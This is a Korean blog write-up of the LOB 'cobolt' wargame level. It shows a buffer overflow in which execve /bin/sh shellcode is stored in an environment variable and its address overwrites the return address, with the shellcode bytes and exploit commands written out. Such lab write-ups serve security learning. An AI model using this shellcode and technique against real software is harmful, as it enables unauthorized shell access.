Hacking

LOB #02 Cobolt

pushpush 2020. 10. 14. 22:55

지난번 글의 아이디와 비밀번호를 입력해봅시다!

cobolt인데요!

이번엔 버퍼의 크기가 16이고 지난번과 조건이 같습니다!

16이면 쉘코드를 넣을 수가 없겠죠??

그래서 환경변수를 설정해보겠습니다!

shellcode를 만들기 위해 파일을 만들어 줍니다!

그후

export ShellCode=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`

ShellCode에 쉘코드를 넣어주고 

gcc -o ShellCode ShellCode.c를 하여 ShellCode의 주솟값을 알아낼 겁니다!

 

 

0xbffffc9b네요!

그러면 이제 

./cobolt `python -c 'print("\x90"*20+"\x9b\xfc\xff\xbf")'`

위의 코드를 입력해보면!

되야되는데 왜 안되죠,,,?

뭔데,,,,

여러가지 방법을 시도했는데도 안돼서 이건 일단 킵하겠습니다..

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

한번 shellcode를 바꿔서 해보겠습니다..

export SHELLCODE=python -c 'print("\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")'

로 23byte짜리를 해줬구요

env를 통해 shellcode가 잘 들어갔는지 확인합니당

잘 들어가 있네용

그러면 다시

SHELLCODE의 주소를 알아내기 위해

gcc -o SHELLCODE SHELLCODE.c

를 해준 후

./SHELLCODE SHELLCODE

를 해주면

 

주소가 나옵니다!

그러면 다시

./cobolt python -c 'print"\\x90"*20+"\\x65\\xfc\\xff\\xbf"'

를 해주면

오류가 뜨길래 75로 바꿔줬더니 뜹니다!

끝!